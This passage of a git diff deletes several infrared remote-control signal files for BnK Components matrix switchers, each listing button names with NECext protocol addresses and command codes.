00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir deleted file mode 100644 index b44324fec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BB 00 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: BB 00 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: BB 00 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir deleted file mode 100644 index e8d4c8a24..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: C0 F3 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir deleted file mode 100644 index 5581abd30..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 021_OFF -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 01 00 00 00 -# -name: 021_ON -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 02 00 00 00 -# -name: 021_MUTE -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 03 00 00 00 -# -name: 021_VOLUME_- -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 23 00 00 00 -# -name: 021_VOLUME_+ -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 24 00 00 00 -# -name: 021_IN_6 -type: parsed -protocol: NECext -address: C7 83 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir deleted file mode 100644 index 0a4b4a263..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 2F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: CC 00 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir deleted file mode 100644 index a65f705b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 17 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 18 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1B 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1C 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 23 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 24 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: DB 42 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: DB 42 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: DB 42 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir deleted file mode 100644 index f4cfd75d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 18 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 1B 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 29 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 3E 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 4A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: DF 02 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir deleted file mode 100644 index f9a750354..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: 